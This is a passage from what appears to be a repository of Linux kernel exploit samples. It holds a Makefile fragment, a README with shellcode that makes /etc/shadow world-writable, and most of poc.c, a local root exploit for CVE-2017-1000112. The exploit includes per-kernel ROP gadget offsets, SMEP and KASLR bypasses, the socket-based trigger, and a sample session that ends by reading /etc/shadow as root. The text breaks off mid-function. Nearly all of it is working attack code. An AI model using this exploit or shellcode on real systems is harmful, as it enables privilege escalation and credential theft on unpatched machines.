0x%s\n", $$3, $$1)}' >poc.h 12 | gcc $(KERNEL_CFLAGS) shellcode.c -o shellcode 13 | objcopy --dump-section .text=/dev/stdout shellcode | xxd -i >shellcode.inc 14 | gcc poc.c -o poc 15 | 16 | .PHONY: clean 17 | clean: 18 | rm -f shellcode shellcode.inc poc poc.h 19 | -------------------------------------------------------------------------------- /007-direct_inode_manipulation_2/README.md: -------------------------------------------------------------------------------- 1 | direct inode manipulation (2) 2 | ============================= 3 | 4 | The idea behind this sample is to use direct inode manipulation for changing `/etc/shadow` attributes so it will became world readable/writable :-) 5 | 6 | ~~~ 7 | void shellcode(void) { 8 | int (*user_path_at_empty)(int, char *, unsigned, void *, int *) = (void *)(X_user_path_at_empty + 5); 9 | int (*path_put)(void *) = (void *)(X_path_put + 5); 10 | struct path { void *mnt; void *dentry; } path = { 0 }; 11 | if (!user_path_at_empty(-100, (char []){ "/etc/shadow" }, 0, &path, 0)) { 12 | void *inode = (void *)(*(long *)(path.dentry + 48)); // dentry->d_inode 13 | *(unsigned short *)(inode + 0) |= 0666; // inode->i_mode 14 | path_put(&path); 15 | } 16 | } 17 | ~~~ 18 | -------------------------------------------------------------------------------- /007-direct_inode_manipulation_2/poc.c: -------------------------------------------------------------------------------- 1 | // A proof-of-concept local root exploit for CVE-2017-1000112. 2 | // Includes KASLR and SMEP bypasses. No SMAP bypass. 3 | // Tested on Ubuntu trusty 4.4.0-* and Ubuntu xenial 4-8-0-* kernels. 4 | // 5 | // Usage: 6 | // user@ubuntu:~$ uname -a 7 | // Linux ubuntu 4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux 8 | // user@ubuntu:~$ whoami 9 | // user 10 | // user@ubuntu:~$ id 11 | // uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) 12 | // user@ubuntu:~$ gcc pwn.c -o pwn 13 | // user@ubuntu:~$ ./pwn 14 | // [.] starting 15 | // [.] checking distro and kernel versions 16 | // [.] kernel version '4.8.0-58-generic' detected 17 | // [~] done, versions looks good 18 | // [.] checking SMEP and SMAP 19 | // [~] done, looks good 20 | // [.] setting up namespace sandbox 21 | // [~] done, namespace sandbox set up 22 | // [.] KASLR bypass enabled, getting kernel addr 23 | // [~] done, kernel text: ffffffffae400000 24 | // [.] commit_creds: ffffffffae4a5d20 25 | // [.] prepare_kernel_cred: ffffffffae4a6110 26 | // [.] SMEP bypass enabled, mmapping fake stack 27 | // [~] done, fake stack mmapped 28 | // [.] executing payload ffffffffae40008d 29 | // [~] done, should be root now 30 | // [.] checking if we got root 31 | // [+] got r00t ^_^ 32 | // root@ubuntu:/home/user# whoami 33 | // root 34 | // root@ubuntu:/home/user# id 35 | // uid=0(root) gid=0(root) groups=0(root) 36 | // root@ubuntu:/home/user# cat /etc/shadow 37 | // root:!:17246:0:99999:7::: 38 | // daemon:*:17212:0:99999:7::: 39 | // bin:*:17212:0:99999:7::: 40 | // sys:*:17212:0:99999:7::: 41 | // ... 42 | // 43 | // Andrey Konovalov 44 | 45 | #define _GNU_SOURCE 46 | 47 | #include 48 | #include 49 | #include 50 | #include 51 | #include 52 | #include 53 | #include 54 | #include 55 | #include 56 | #include 57 | #include 58 | 59 | #include 60 | #include 61 | #include 62 | #include 63 | #include 64 | #include 65 | 66 | #include "poc.h" 67 | 68 | #define ENABLE_KASLR_BYPASS 1 69 | #define ENABLE_SMEP_BYPASS 1 70 | 71 | // Will be overwritten if ENABLE_KASLR_BYPASS is enabled. 72 | unsigned long KERNEL_BASE = 0xffffffff81000000ul; 73 | 74 | // Will be overwritten by detect_versions(). 75 | int kernel = -1; 76 | 77 | struct kernel_info { 78 | const char* distro; 79 | const char* version; 80 | uint64_t commit_creds; 81 | uint64_t prepare_kernel_cred; 82 | uint64_t xchg_eax_esp_ret; 83 | uint64_t pop_rdi_ret; 84 | uint64_t mov_dword_ptr_rdi_eax_ret; 85 | uint64_t mov_rax_cr4_ret; 86 | uint64_t neg_rax_ret; 87 | uint64_t pop_rcx_ret; 88 | uint64_t or_rax_rcx_ret; 89 | uint64_t xchg_eax_edi_ret; 90 | uint64_t mov_cr4_rdi_ret; 91 | uint64_t jmp_rcx; 92 | }; 93 | 94 | struct kernel_info kernels[] = { 95 | { "trusty", "4.4.0-21-generic", 0x9d7a0, 0x9da80, 0x4520a, 0x30f75, 0x109957, 0x1a7a0, 0x3d6b7a, 0x1cbfc, 0x76453, 0x49d4d, 0x61300, 0x1b91d }, 96 | { "trusty", "4.4.0-22-generic", 0x9d7e0, 0x9dac0, 0x4521a, 0x28c19d, 0x1099b7, 0x1a7f0, 0x3d781a, 0x1cc4c, 0x764b3, 0x49d5d, 0x61300, 0x48040 }, 97 | { "trusty", "4.4.0-24-generic", 0x9d5f0, 0x9d8d0, 0x4516a, 0x1026cd, 0x107757, 0x1a810, 0x3d7a9a, 0x1cc6c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 }, 98 | { "trusty", "4.4.0-28-generic", 0x9d760, 0x9da40, 0x4516a, 0x3dc58f, 0x1079a7, 0x1a830, 0x3d801a, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 }, 99 | { "trusty", "4.4.0-31-generic", 0x9d760, 0x9da40, 0x4516a, 0x3e223f, 0x1079a7, 0x1a830, 0x3ddcca, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 }, 100 | { "trusty", "4.4.0-34-generic", 0x9d760, 0x9da40, 0x4510a, 0x355689, 0x1079a7, 0x1a830, 0x3ddd1a, 0x1cc8c, 0x763b3, 0x49c5d, 0x612f0, 0x47f40 }, 101 | { "trusty", "4.4.0-36-generic", 0x9d770, 0x9da50, 0x4510a, 0x1eec9d, 0x107a47, 0x1a830, 0x3de02a, 0x1cc8c, 0x763c3, 0x29595, 0x61300, 0x47f40 }, 102 | { "trusty", "4.4.0-38-generic", 0x9d820, 0x9db00, 0x4510a, 0x598fd, 0x107af7, 0x1a820, 0x3de8ca, 0x1cc7c, 0x76473, 0x49c5d, 0x61300, 0x1a77b }, 103 | { "trusty", "4.4.0-42-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3deb7a, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b }, 104 | { "trusty", "4.4.0-45-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3debda, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b }, 105 | { "trusty", "4.4.0-47-generic", 0x9d940, 0x9dc20, 0x4511a, 0x171f8d, 0x107bd7, 0x1a820, 0x3e241a, 0x1cc7c, 0x76463, 0x299f5, 0x61300, 0x1a77b }, 106 | { "trusty", "4.4.0-51-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b }, 107 | { "trusty", "4.4.0-53-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b }, 108 | { "trusty", "4.4.0-57-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x39401d, 0x1097d7, 0x1a820, 0x3e527a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, 109 | { "trusty", "4.4.0-59-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dbc4e, 0x1097d7, 0x1a820, 0x3e571a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, 110 | { "trusty", "4.4.0-62-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x3ea46f, 0x109837, 0x1a820, 0x3e5e5a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, 111 | { "trusty", "4.4.0-63-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, 112 | { "trusty", "4.4.0-64-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, 113 | { "trusty", "4.4.0-66-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, 114 | { "trusty", "4.4.0-67-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x12a9dc, 0x109887, 0x1a820, 0x3e67ba, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, 115 | { "trusty", "4.4.0-70-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, 116 | { "trusty", "4.4.0-71-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, 117 | { "trusty", "4.4.0-72-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, 118 | { "trusty", "4.4.0-75-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x303cfd, 0x1098a7, 0x1a820, 0x3e67ea, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, 119 | { "trusty", "4.4.0-78-generic", 0x9eb70, 0x9ee50, 0x4518a, 0x30366d, 0x1098b7, 0x1a820, 0x3e710a, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, 120 | { "trusty", "4.4.0-79-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x3ebdcf, 0x1099a7, 0x1a830, 0x3e77ba, 0x1cc8c, 0x774e3, 0x49cdd, 0x62330, 0x1a78b }, 121 | { "trusty", "4.4.0-81-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dc688, 0x1099a7, 0x1a830, 0x3e789a, 0x1cc8c, 0x774e3, 0x24487, 0x62330, 0x1a78b }, 122 | { "trusty", "4.4.0-83-generic", 0x9ebc0, 0x9eea0, 0x451ca, 0x2dc6f5, 0x1099b7, 0x1a830, 0x3e78fa, 0x1cc8c, 0x77533, 0x49d1d, 0x62360, 0x1a78b }, 123 | { "xenial", "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 }, 124 | { "xenial", "4.8.0-36-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 }, 125 | { "xenial", "4.8.0-39-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 }, 126 | { "xenial", "4.8.0-41-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 }, 127 | { "xenial", "4.8.0-45-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0x49f60 }, 128 | { "xenial", "4.8.0-46-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 }, 129 | { "xenial", "4.8.0-49-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x439bba, 0x102e33, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, 130 | { "xenial", "4.8.0-52-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x63e843, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, 131 | { "xenial", "4.8.0-53-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x63e843, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, 132 | { "xenial", "4.8.0-54-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x5ada3c, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, 133 | { "xenial", "4.8.0-56-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x39d50d, 0x119207, 0x1b170, 0x43a14a, 0x44d4a0, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, 134 | { "xenial", "4.8.0-58-generic", 0xa5d20, 0xa6110, 0x17c55, 0xe56f5, 0x119227, 0x1b170, 0x439e7a, 0x162622, 0x7bd23, 0x12c7f7, 0x64210, 0x49fa0 }, 135 | }; 136 | 137 | // Used to get root privileges. 138 | #define COMMIT_CREDS (KERNEL_BASE + kernels[kernel].commit_creds) 139 | #define PREPARE_KERNEL_CRED (KERNEL_BASE + kernels[kernel].prepare_kernel_cred) 140 | 141 | // Used when ENABLE_SMEP_BYPASS is used. 142 | // - xchg eax, esp ; ret 143 | // - pop rdi ; ret 144 | // - mov dword ptr [rdi], eax ; ret 145 | // - push rbp ; mov rbp, rsp ; mov rax, cr4 ; pop rbp ; ret 146 | // - neg rax ; ret 147 | // - pop rcx ; ret 148 | // - or rax, rcx ; ret 149 | // - xchg eax, edi ; ret 150 | // - push rbp ; mov rbp, rsp ; mov cr4, rdi ; pop rbp ; ret 151 | // - jmp rcx 152 | #define XCHG_EAX_ESP_RET (KERNEL_BASE + kernels[kernel].xchg_eax_esp_ret) 153 | #define POP_RDI_RET (KERNEL_BASE + kernels[kernel].pop_rdi_ret) 154 | #define MOV_DWORD_PTR_RDI_EAX_RET (KERNEL_BASE + kernels[kernel].mov_dword_ptr_rdi_eax_ret) 155 | #define MOV_RAX_CR4_RET (KERNEL_BASE + kernels[kernel].mov_rax_cr4_ret) 156 | #define NEG_RAX_RET (KERNEL_BASE + kernels[kernel].neg_rax_ret) 157 | #define POP_RCX_RET (KERNEL_BASE + kernels[kernel].pop_rcx_ret) 158 | #define OR_RAX_RCX_RET (KERNEL_BASE + kernels[kernel].or_rax_rcx_ret) 159 | #define XCHG_EAX_EDI_RET (KERNEL_BASE + kernels[kernel].xchg_eax_edi_ret) 160 | #define MOV_CR4_RDI_RET (KERNEL_BASE + kernels[kernel].mov_cr4_rdi_ret) 161 | #define JMP_RCX (KERNEL_BASE + kernels[kernel].jmp_rcx) 162 | 163 | // * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * * 164 | 165 | void *(*module_alloc)(long) = (void *)X_module_alloc; 166 | long (*schedule_on_each_cpu)(long) = (void *)X_schedule_on_each_cpu; 167 | 168 | static char shellcode[] = { 169 | # include "shellcode.inc" 170 | }; 171 | 172 | static void __attribute__((always_inline)) inline get_root_real(void) { 173 | void *p = module_alloc(sizeof(shellcode)); 174 | __builtin_memcpy(p, shellcode, sizeof(shellcode)); 175 | schedule_on_each_cpu((long)p); 176 | } 177 | 178 | void (*mutex_lock)(void *) = (void *)X_mutex_lock; 179 | void (*mutex_unlock)(void *) = (void *)X_mutex_unlock; 180 | void *(*text_poke)(void *, const void *, long) = (void *)X_text_poke; 181 | 182 | void get_root() { 183 | char data[4]; 184 | __builtin_memcpy(data, (void *)X_get_kprobe, sizeof(data)); 185 | mutex_lock((void *)X_module_mutex); 186 | text_poke((void *)X_get_kprobe, (char []){ "\x48\x31\xc0\xc3" }, 4); 187 | get_root_real(); 188 | text_poke((void *)X_get_kprobe, data, sizeof(data)); 189 | mutex_unlock((void *)X_module_mutex); 190 | } 191 | 192 | // * * * * * * * * * * * * * * * * SMEP bypass * * * * * * * * * * * * * * * * 193 | 194 | uint64_t saved_esp; 195 | 196 | // Unfortunately GCC does not support `__atribute__((naked))` on x86, which 197 | // can be used to omit a function's prologue, so I had to use this weird 198 | // wrapper hack as a workaround. Note: Clang does support it, which means it 199 | // has better support of GCC attributes than GCC itself. Funny. 200 | void wrapper() { 201 | asm volatile (" \n\ 202 | payload: \n\ 203 | movq %%rbp, %%rax \n\ 204 | movq $0xffffffff00000000, %%rdx \n\ 205 | andq %%rdx, %%rax \n\ 206 | movq %0, %%rdx \n\ 207 | addq %%rdx, %%rax \n\ 208 | movq %%rax, %%rsp \n\ 209 | call get_root \n\ 210 | ret \n\ 211 | " : : "m"(saved_esp) : ); 212 | } 213 | 214 | void payload(); 215 | 216 | #define CHAIN_SAVE_ESP \ 217 | *stack++ = POP_RDI_RET; \ 218 | *stack++ = (uint64_t)&saved_esp; \ 219 | *stack++ = MOV_DWORD_PTR_RDI_EAX_RET; 220 | 221 | #define SMEP_MASK 0x100000 222 | 223 | #define CHAIN_DISABLE_SMEP \ 224 | *stack++ = MOV_RAX_CR4_RET; \ 225 | *stack++ = NEG_RAX_RET; \ 226 | *stack++ = POP_RCX_RET; \ 227 | *stack++ = SMEP_MASK; \ 228 | *stack++ = OR_RAX_RCX_RET; \ 229 | *stack++ = NEG_RAX_RET; \ 230 | *stack++ = XCHG_EAX_EDI_RET; \ 231 | *stack++ = MOV_CR4_RDI_RET; 232 | 233 | #define CHAIN_JMP_PAYLOAD \ 234 | *stack++ = POP_RCX_RET; \ 235 | *stack++ = (uint64_t)&payload; \ 236 | *stack++ = JMP_RCX; 237 | 238 | void mmap_stack() { 239 | uint64_t stack_aligned, stack_addr; 240 | int page_size, stack_size, stack_offset; 241 | uint64_t* stack; 242 | 243 | page_size = getpagesize(); 244 | 245 | stack_aligned = (XCHG_EAX_ESP_RET & 0x00000000fffffffful) & ~(page_size - 1); 246 | stack_addr = stack_aligned - page_size * 4; 247 | stack_size = page_size * 8; 248 | stack_offset = XCHG_EAX_ESP_RET % page_size; 249 | 250 | stack = mmap((void*)stack_addr, stack_size, PROT_READ | PROT_WRITE, 251 | MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); 252 | if (stack == MAP_FAILED || stack != (void*)stack_addr) { 253 | perror("[-] mmap()"); 254 | exit(EXIT_FAILURE); 255 | } 256 | 257 | stack = (uint64_t*)((char*)stack_aligned + stack_offset); 258 | 259 | CHAIN_SAVE_ESP; 260 | CHAIN_DISABLE_SMEP; 261 | CHAIN_JMP_PAYLOAD; 262 | } 263 | 264 | // * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * * 265 | 266 | #define SYSLOG_ACTION_READ_ALL 3 267 | #define SYSLOG_ACTION_SIZE_BUFFER 10 268 | 269 | void mmap_syslog(char** buffer, int* size) { 270 | *size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0); 271 | if (*size == -1) { 272 | perror("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)"); 273 | exit(EXIT_FAILURE); 274 | } 275 | 276 | *size = (*size / getpagesize() + 1) * getpagesize(); 277 | *buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE, 278 | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); 279 | 280 | *size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size); 281 | if (*size == -1) { 282 | perror("[-] klogctl(SYSLOG_ACTION_READ_ALL)"); 283 | exit(EXIT_FAILURE); 284 | } 285 | } 286 | 287 | unsigned long get_kernel_addr_trusty(char* buffer, int size) { 288 | const char* needle1 = "Freeing unused"; 289 | char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1)); 290 | if (substr == NULL) { 291 | fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle1); 292 | exit(EXIT_FAILURE); 293 | } 294 | 295 | int start = 0; 296 | int end = 0; 297 | for (end = start; substr[end] != '-'; end++); 298 | 299 | const char* needle2 = "ffffff"; 300 | substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2)); 301 | if (substr == NULL) { 302 | fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle2); 303 | exit(EXIT_FAILURE); 304 | } 305 | 306 | char* endptr = &substr[16]; 307 | unsigned long r = strtoul(&substr[0], &endptr, 16); 308 | 309 | r &= 0xffffffffff000000ul; 310 | 311 | return r; 312 | } 313 | 314 | unsigned long get_kernel_addr_xenial(char* buffer, int size) { 315 | const char* needle1 = "Freeing unused"; 316 | char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1)); 317 | if (substr == NULL) { 318 | fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle1); 319 | exit(EXIT_FAILURE); 320 | } 321 | 322 | int start = 0; 323 | int end = 0; 324 | for (start = 0; substr[start] != '-'; start++); 325 | for (end = start; substr[end] != '\n'; end++); 326 | 327 | const char* needle2 = "ffffff"; 328 | substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2)); 329 | if (substr == NULL) { 330 | fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle2); 331 | exit(EXIT_FAILURE); 332 | } 333 | 334 | char* endptr = &substr[16]; 335 | unsigned long r = strtoul(&substr[0], &endptr, 16); 336 | 337 | r &= 0xfffffffffff00000ul; 338 | r -= 0x1000000ul; 339 | 340 | return r; 341 | } 342 | 343 | unsigned long get_kernel_addr() { 344 | char* syslog; 345 | int size; 346 | mmap_syslog(&syslog, &size); 347 | 348 | if (strcmp("trusty", kernels[kernel].distro) == 0 && 349 | strncmp("4.4.0", kernels[kernel].version, 5) == 0) 350 | return get_kernel_addr_trusty(syslog, size); 351 | if (strcmp("xenial", kernels[kernel].distro) == 0 && 352 | strncmp("4.8.0", kernels[kernel].version, 5) == 0) 353 | return get_kernel_addr_xenial(syslog, size); 354 | 355 | printf("[-] KASLR bypass only tested on trusty 4.4.0-* and xenial 4-8-0-*"); 356 | exit(EXIT_FAILURE); 357 | } 358 | 359 | // * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * * 360 | 361 | struct ubuf_info { 362 | uint64_t callback; // void (*callback)(struct ubuf_info *, bool) 363 | uint64_t ctx; // void * 364 | uint64_t desc; // unsigned long 365 | }; 366 | 367 | struct skb_shared_info { 368 | uint8_t nr_frags; // unsigned char 369 | uint8_t tx_flags; // __u8 370 | uint16_t gso_size; // unsigned short 371 | uint16_t gso_segs; // unsigned short 372 | uint16_t gso_type; // unsigned short 373 | uint64_t frag_list; // struct sk_buff * 374 | uint64_t hwtstamps; // struct skb_shared_hwtstamps 375 | uint32_t tskey; // u32 376 | uint32_t ip6_frag_id; // __be32 377 | uint32_t dataref; // atomic_t 378 | uint64_t destructor_arg; // void * 379 | uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS]; 380 | }; 381 | 382 | struct ubuf_info ui; 383 | 384 | void init_skb_buffer(char* buffer, unsigned long func) { 385 | struct skb_shared_info* ssi = (struct skb_shared_info*)buffer; 386 | memset(ssi, 0, sizeof(*ssi)); 387 | 388 | ssi->tx_flags = 0xff; 389 | ssi->destructor_arg = (uint64_t)&ui; 390 | ssi->nr_frags = 0; 391 | ssi->frag_list = 0; 392 | 393 | ui.callback = func; 394 | } 395 | 396 | // * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * * 397 | 398 | #define SHINFO_OFFSET 3164 399 | 400 | void oob_execute(unsigned long payload) { 401 | char buffer[4096]; 402 | memset(&buffer[0], 0x42, 4096); 403 | init_skb_buffer(&buffer[SHINFO_OFFSET], payload); 404 | 405 | int s = socket(PF_INET, SOCK_DGRAM, 0); 406 | if (s == -1) { 407 | perror("[-] socket()"); 408 | exit(EXIT_FAILURE); 409 | } 410 | 411 | struct sockaddr_in addr; 412 | memset(&addr, 0, sizeof(addr)); 413 | addr.sin_family = AF_INET; 414 | addr.sin_port = htons(8000); 415 | addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); 416 | 417 | if (connect(s, (void*)&addr, sizeof(addr))) { 418 | perror("[-] connect()"); 419 | exit(EXIT_FAILURE); 420 | } 421 | 422 | int size = SHINFO_OFFSET + sizeof(struct skb_shared_info); 423 | int rv = send(s, buffer, size, MSG_MORE); 424 | if (rv != size) { 425 | perror("[-] send()"); 426 | exit(EXIT_FAILURE); 427 | } 428 | 429 | int val = 1; 430 | rv = setsockopt(s, SOL_SOCKET, SO_NO_CHECK, &val, sizeof(val)); 431 | if (rv != 0) { 432 | perror("[-] setsockopt(SO_NO_CHECK)"); 433 | exit(EXIT_FAILURE); 434 | } 435 | 436 | send(s, buffer, 1, 0); 437 | 438 | close(s); 439 | } 440 | 441 | // * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * * 442 | 443 | #define CHUNK_SIZE 1024 444 | 445 | int read_file(const char* file, char* buffer, int max_length) { 446 | int f = open(file, O_RDONLY); 447 | if (f == -1) 448 | return -1; 449 | int bytes_read = 0; 450 | while (true) { 451 | int bytes_to_read = CHUNK_SIZE; 452 | if (bytes_to_read > max_length - bytes_read) 453 | bytes_to_read = max_length - bytes_read; 454 | int rv = read(f, &buffer[bytes_read], bytes_to_read); 455 | if (rv == -1) 456 | return -1; 457 | bytes_read += rv; 458 | if (rv == 0) 459 | return bytes_read; 460 | } 461 | } 462 | 463 | #define LSB_RELEASE_LENGTH 1024 464 | 465 | void get_distro_codename(char* output, int max_length) { 466 | char buffer[LSB_RELEASE_LENGTH]; 467 | int length = read_file("/etc/lsb-release", &buffer[0], LSB_RELEASE_LENGTH); 468 | if (length == -1) { 469 | perror("[-] open/read(/etc/lsb-release)"); 470 | exit(EXIT_FAILURE); 471 | } 472 | const char *needle = "DISTRIB_CODENAME="; 473 | int needle_length = strlen(needle); 474 | char* found = memmem(&buffer[0], length, needle, needle_length); 475 | if (found == NULL) { 476 | printf("[-] couldn't find DISTRIB_CODENAME in /etc/lsb-release\n"); 477 | exit(EXIT_FAILURE); 478 | } 479 | int i; 480 | for (i = 0; found[needle_length + i] != '\n'; i++) { 481 | assert(i < max_length); 482 | assert((found - &buffer[0]) + needle_length + i < length); 483 | output[i] = found[needle_length + i]; 484 | } 485 | } 486 | 487 | void get_kernel_version(char* output, int max_length) { 488 | struct utsname u; 489 | int rv = uname(&u); 490 | if (rv != 0) { 491 | perror("[-] uname())"); 492 | exit(EXIT_FAILURE); 493 | } 494 | assert(strlen(u.release) <= max_length); 495 | strcpy(&output[0], u.release); 496 | } 497 | 498 | #define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0])) 499 | 500 | #define DISTRO_CODENAME_LENGTH 32 501 | #define KERNEL_VERSION_LENGTH 32 502 | 503 | void detect_versions() { 504 | char codename[DISTRO_CODENAME_LENGTH]; 505 | char version[KERNEL_VERSION_LENGTH]; 506 | 507 | get_distro_codename(&codename[0], DISTRO_CODENAME_LENGTH); 508 | get_kernel_version(&version[0], KERNEL_VERSION_LENGTH); 509 | 510 | int i; 511 | for (i = 0; i < ARRAY_SIZE(kernels); i++) { 512 | if (strcmp(&codename[0], kernels[i].distro) == 0 && 513 | strcmp(&version[0], kernels[i].version) == 0) { 514 | printf("[.] kernel version '%s' detected\n", kernels[i].version); 515 | kernel = i; 516 | return; 517 | } 518 | } 519 | 520 | printf("[-] kernel version not recognized\n"); 521 | exit(EXIT_FAILURE); 522 | } 523 | 524 | #define PROC_CPUINFO_LENGTH 4096 525 | 526 | // 0 - nothing, 1 - SMEP, 2 - SMAP, 3 - SMEP & SMAP 527 | int smap_smep_enabled() { 528 | char buffer[PROC_CPUINFO_LENGTH]; 529 | int length = read_file("/proc/cpuinfo", &buffer[0], PROC_CPUINFO_LENGTH); 530 | if (length == -1) { 531 | perror("[-] open/read(/proc/cpuinfo)"); 532 | exit(EXIT_FAILURE); 533 | } 534 | int rv = 0; 535 | char* found = memmem(&buffer[0], length, "smep", 4); 536 | if (found != NULL) 537 | rv += 1; 538 | found = memmem(&buffer[0], length, "smap", 4); 539 | if (found != NULL) 540 | rv += 2; 541 | return rv; 542 | } 543 | 544 | void check_smep_smap() { 545 | int rv = smap_smep_enabled(); 546 | if (rv >= 2) { 547 | printf("[-] SMAP detected, no bypass available\n"); 548 | exit(EXIT_FAILURE); 549 | } 550 | #if !ENABLE_SMEP_BYPASS 551 | if (rv >= 1) { 552 | printf("[-] SMEP detected, use ENABLE_SMEP_BYPASS\n"); 553 | exit(EXIT_FAILURE); 554 | } 555 | #endif 556 | } 557 | 558 | // * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * * 559 | 560 | static bool write_file(const char* file, const char* what, ...) { 561 | char buf[1024]; 562 | va_list args; 563 | va_start(args, what); 564 | vsnprintf(buf, sizeof(buf), what, args); 565 | va_end(args); 566 | buf[sizeof(buf) - 1] = 0; 567 | int len = strlen(buf); 568 | 569 | int fd = open(file, O_WRONLY | O_CLOEXEC); 570 | if (fd == -1) 571 | return false; 572 | if (write(fd, buf, len) != len) { 573 | close(fd); 574 | return false; 575 | } 576 | close(fd); 577 | return true; 578 | } 579 | 580 | void setup_sandbox() { 581 | int real_uid = getuid(); 582 | int real_gid = getgid(); 583 | 584 | if (unshare(CLONE_NEWUSER) != 0) { 585 | printf("[!] unprivileged user namespaces are not available\n"); 586 | perror("[-] unshare(CLONE_NEWUSER)"); 587 | exit(EXIT_FAILURE); 588 